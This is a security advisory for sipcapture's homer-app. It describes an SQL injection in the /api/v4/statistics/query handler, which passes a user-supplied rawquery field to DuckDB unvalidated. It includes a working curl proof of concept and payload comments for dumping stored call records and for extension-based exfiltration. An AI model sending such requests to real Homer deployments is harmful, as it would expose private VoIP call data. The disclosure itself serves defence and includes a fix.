github.com/sipcapture/homer-app: Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query

Summary

The V4StatisticsQuery handler passes the user-supplied rawquery field directly to DuckDB without calling the sqlvalidator.ValidateRawSQL function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.

Details

**coordinator/handlers/statistics_v4.go lines 74-107** — V4StatisticsQuery:

query := &model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)

**Contrast with coordinator/handlers/search.go line 194** — secure pattern not followed:

if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
    return c.JSON(http.StatusBadRequest, ...)
}

query.RawQuery is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the protected group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.

PoC

# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://<homer-host>/api/v4/statistics/query \
  -H "Authorization: Bearer <jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "param": {
      "query": [{"rawquery": "SELECT * FROM information_schema.tables"}]
    }
  }'
# Returns all table names accessible to the DuckDB FlightSQL service

# Exfiltrate all stored call records:
# "rawquery": "SELECT * FROM hep LIMIT 1000"
# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration

Impact

SQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.

Fix

Apply sqlvalidator.ValidateRawSQL() to query.RawQuery before passing it to h.flightService.Query(), matching the pattern already used in search.go and transactions_v4.go.

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